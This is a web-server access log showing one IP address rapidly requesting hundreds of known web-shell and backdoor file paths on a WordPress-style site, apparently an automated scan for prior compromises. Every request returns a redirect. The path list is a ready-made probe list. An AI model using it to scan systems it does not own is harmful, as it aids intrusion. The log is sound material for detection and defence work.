[14/Apr/2025:10:52:03 -0400] "GET /wp-content/themes/news-portal/error.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:04 -0400] "GET /doc/function.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:04 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:04 -0400] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:05 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:06 -0400] "GET /wp-includes/Requests/Exception/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:06 -0400] "GET /wp-includes/block-supports/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:06 -0400] "GET /wp-includes/sitemaps/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:07 -0400] "GET /.well-known/acme-challenge/fond.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:07 -0400] "GET /wp-includes/css/dist/widgets/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:08 -0400] "GET /assets/app.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:08 -0400] "GET /profile.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:09 -0400] "GET /wp-admin/ccx/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:09 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:09 -0400] "GET /navigation.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:10 -0400] "GET /wp-includes/ID3/berlin.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:11 -0400] "GET /wp-admin/css/colors/blue/blkhfvco.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:11 -0400] "GET /wp-content/uploads/gfwisone.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:11 -0400] "GET /token.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:11 -0400] "GET /sidebar.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:12 -0400] "GET /wp-includes/l10n/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:12 -0400] "GET /wp-content/plugins/lsxvhpg/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:13 -0400] "GET /services.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:13 -0400] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:13 -0400] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:14 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:14 -0400] "GET /indeex.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:15 -0400] "GET /assets/fonts/admin.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:15 -0400] "GET /header.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:16 -0400] "GET /12.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:16 -0400] "GET /wp-includes/language/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:17 -0400] "GET /wp-includes/js/tinymce/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:17 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:17 -0400] "GET /wp-apxupx.php?apx=upx HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:18 -0400] "GET /wp-includes/PHPMailer/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:18 -0400] "GET /cron_job.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:19 -0400] "GET /images/headers/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:19 -0400] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:19 -0400] "GET /wp-includes/css/about.php7 HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:19 -0400] "GET /wp-content/themes/newstoday/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:20 -0400] "GET /predeploy.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:20 -0400] "GET /wp-admin/themes/index HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:20 -0400] "GET /wp-includes//wp-includes/admin-bar.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:21 -0400] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:21 -0400] "GET /batm.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:21 -0400] "GET /wp-admin/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:22 -0400] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:22 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:22 -0400] "GET /back.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:22 -0400] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:23 -0400] "GET /favicon.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:23 -0400] "GET /ioxi001.PhP7 HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:24 -0400] "GET /wp-includes/pomo/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:24 -0400] "GET /wp-includes/luuf.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:24 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:25 -0400] "GET /wp-admin/css/colors/coffee/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:25 -0400] "GET /wp-content/plugins/css-ready-sel/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:25 -0400] "GET /.well-known/acme-challenge/content.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:26 -0400] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:26 -0400] "GET /wp-includes.bak/html-api/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:26 -0400] "GET /wp-content/plugins/html404/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:26 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:27 -0400] "GET /wp-content/themes/h47vbpo2/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:27 -0400] "GET /wp-includes/Text/Diff/Engine/ftp_rmdir.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:27 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:28 -0400] "GET /wp-includes/css/dist/block-library/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:28 -0400] "GET /wp-content/plugins/vheezid/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:28 -0400] "GET /wp-content/uploads/wpr-addons/forms/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:28 -0400] "GET /wp-includes.bak/html-api/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:29 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:29 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:29 -0400] "GET /wp-content/plugins/npqzdpk/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:30 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:30 -0400] "GET /bitrix/js/seo/ads/client_selector/lang/ru/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:30 -0400] "GET /blog/wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:31 -0400] "GET /status.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:31 -0400] "GET /email.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:31 -0400] "GET /maintenance/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:32 -0400] "GET /wp-includes/class-controller-theme-comment.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:32 -0400] "GET /wp-includes/pomo/yellow.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:32 -0400] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:32 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:33 -0400] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:33 -0400] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:33 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:34 -0400] "GET /chosen HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:34 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:35 -0400] "GET /.well-known/kwggvpup.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:35 -0400] "GET /wp-content/plugins/widget-logic/ui.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:35 -0400] "GET /configure.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:35 -0400] "GET /wp-content/plugins/qufeaoy/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:36 -0400] "GET /.well-known/pki-validation/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:36 -0400] "GET /assets/cms/plugins/ckfinder/_samples/php/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:36 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:36 -0400] "GET /credits.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:37 -0400] "GET /.well-known/acme-challenge/classsmtps.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:37 -0400] "GET /wp-admin/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:37 -0400] "GET /wp-includes/qw.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:38 -0400] "GET /wp-content/plugins/sfdfryt/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:38 -0400] "GET /wp-includes/css/dist/edit-widgets/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:38 -0400] "GET /auth.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:39 -0400] "GET /wp-content/plugins/ubh/1.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:39 -0400] "GET /wp-includes/ID3/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:39 -0400] "GET /pi.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:39 -0400] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:40 -0400] "GET /wp-content/uploads/2018/03/ab.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:40 -0400] "GET /new/transjule.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:40 -0400] "GET /wp-content/plugins/background-image-cropper/tmpls.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:41 -0400] "GET /wp-content/plugins/blwrume/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:41 -0400] "GET /.well-known/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:41 -0400] "GET /alfa-rex.php8 HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:42 -0400] "GET /wp-content/uploads/error_log.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:42 -0400] "GET /wp-includes/PHPMailer/upfile_(2).php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:42 -0400] "GET /jquery.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:43 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:43 -0400] "GET /wp-admin/uploads/init HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:44 -0400] "GET /wp-admin/css/colors/blue/blkqvmih.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:44 -0400] "GET /audit.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:45 -0400] "GET /wp-content/themes/pridmag/1.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:46 -0400] "GET /unix.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:46 -0400] "GET /wp-includes_old/Requests/Cookie/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:47 -0400] "GET /upload/info/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:47 -0400] "GET /wp-content/plugins/core-plugin/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:47 -0400] "GET /uploads/files/merchants/NadeemHajouj/20190321194634/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:48 -0400] "GET /wp-content/plugins/fix/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:48 -0400] "GET /wp-content/plugins/ygdfcil/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:48 -0400] "GET /wp-includes/certificates/cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:49 -0400] "GET /certificates/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:49 -0400] "GET /wp-includes/widgets/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:49 -0400] "GET /moded.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:50 -0400] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:50 -0400] "GET /wp-content/plugins/zgtzwun/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:50 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:50 -0400] "GET /wp-includes/css/dist/components/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:51 -0400] "GET /wp-content/updraft/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:51 -0400] "GET /gif.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:52 -0400] "GET /wp-content/plugins/smelzou/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:52 -0400] "GET /mail_logs.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:52 -0400] "GET /nav-menus.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:53 -0400] "GET /wp-includes/blocks/post-author/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:53 -0400] "GET /editor.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:53 -0400] "GET /GOD.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:54 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:54 -0400] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:54 -0400] "GET /wp-includes/blocks/term-description/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:55 -0400] "GET /.well-known/index HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:55 -0400] "GET /wp-content/plugins/fgcpghg/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:56 -0400] "GET /wp-content/plugins/uiaqgqm/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:56 -0400] "GET /wp-content/plugins/ljqhmhj/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:57 -0400] "GET /wp-includes/wp-includes/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:57 -0400] "GET /wp-content/x/eew.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:58 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:58 -0400] "GET /css/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:58 -0400] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:59 -0400] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:59 -0400] "GET /wp-includes/languages/wp/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:59 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:00 -0400] "GET /wp-content/plugins/wpforms-lite/src/Migrations/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:00 -0400] "GET /504.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:00 -0400] "GET /wp-admin/shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:01 -0400] "GET /wp-includes/block-patterns/admin.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:01 -0400] "GET /wp-content/plugins/fancybox-for-wordpress/fancybox/termark/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:02 -0400] "GET /wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:02 -0400] "GET /about.php525 HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:03 -0400] "GET /docs/cc.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:04 -0400] "GET /upload/files/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:05 -0400] "GET /wp-includes/Requests/Exception/content.php.suspected HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:06 -0400] "GET /wp-content/uploads/cong.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:06 -0400] "GET /y.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:07 -0400] "GET /wp-content/plugins/init HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:07 -0400] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:07 -0400] "GET /amaxx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:08 -0400] "GET /acme-challenge/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:08 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:09 -0400] "GET /todo.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:09 -0400] "GET /wordpress/wordpress/wp-content/plugins/sdxxcfgt/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:10 -0400] "GET /cache/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:10 -0400] "GET /wp-includes/IXR/core.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:11 -0400] "GET /.tmb/LA.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:11 -0400] "GET /compressor.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:12 -0400] "GET /js/tinymce/skins/lightgray/fonts/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:12 -0400] "GET /wp-crons.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:13 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:13 -0400] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:13 -0400] "GET /wp-includes/js/crop/crop.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:14 -0400] "GET /wp-content/plugins/erinyani/yani/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:14 -0400] "GET /wp-includes/aa.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:14 -0400] "GET /themes/zMousse/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:15 -0400] "GET /wp-includes/interactivity-api/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:16 -0400] "GET /wp-api.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:16 -0400] "GET /wp-content/plugins/sdxxcfgt/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:16 -0400] "GET /components/5173e.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:17 -0400] "GET /wp-includes/Requests/Utility/sys.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:17 -0400] "GET /lv.php7 HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:18 -0400] "GET /suu.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:18 -0400] "GET /php.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:19 -0400] "GET /alfa-rex2.php7 HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:19 -0400] "GET /wp-content/plugins/akbifoe/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:20 -0400] "GET /wp-content/themes/init HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:20 -0400] "GET /wp-admin/plugins/index HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:21 -0400] "GET /wp-content/themes/travel/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:21 -0400] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:22 -0400] "GET /welcome.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:22 -0400] "GET /s.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:22 -0400] "GET /wp-content/plugins/ioxi/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:23 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:23 -0400] "GET /wp-includes/customize/Dj1Gk/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:23 -0400] "GET /wp-admin/includes/class_api.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:23 -0400] "GET /wp-content/themes/tflow/up.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:24 -0400] "GET /home/newsr.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:24 -0400] "GET /wp-includes/js/codemirror/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:25 -0400] "GET /wp-includes/rest-api/endpoints/html.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:25 -0400] "GET /.tmb/admin.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:25 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:26 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:27 -0400] "GET /wp-sigunq.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:27 -0400] "GET /wp-content/plugins/oyaeyim/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:28 -0400] "GET /wp-content/themes/wp-classic/inc/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:28 -0400] "GET /assets/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:28 -0400] "GET /wp-content/themes/seotheme/db.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:29 -0400] "GET /rating.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:29 -0400] "GET /wp-content/plugins/rneciwj/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:29 -0400] "GET /wp-includes/css/dist/block-library/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:30 -0400] "GET 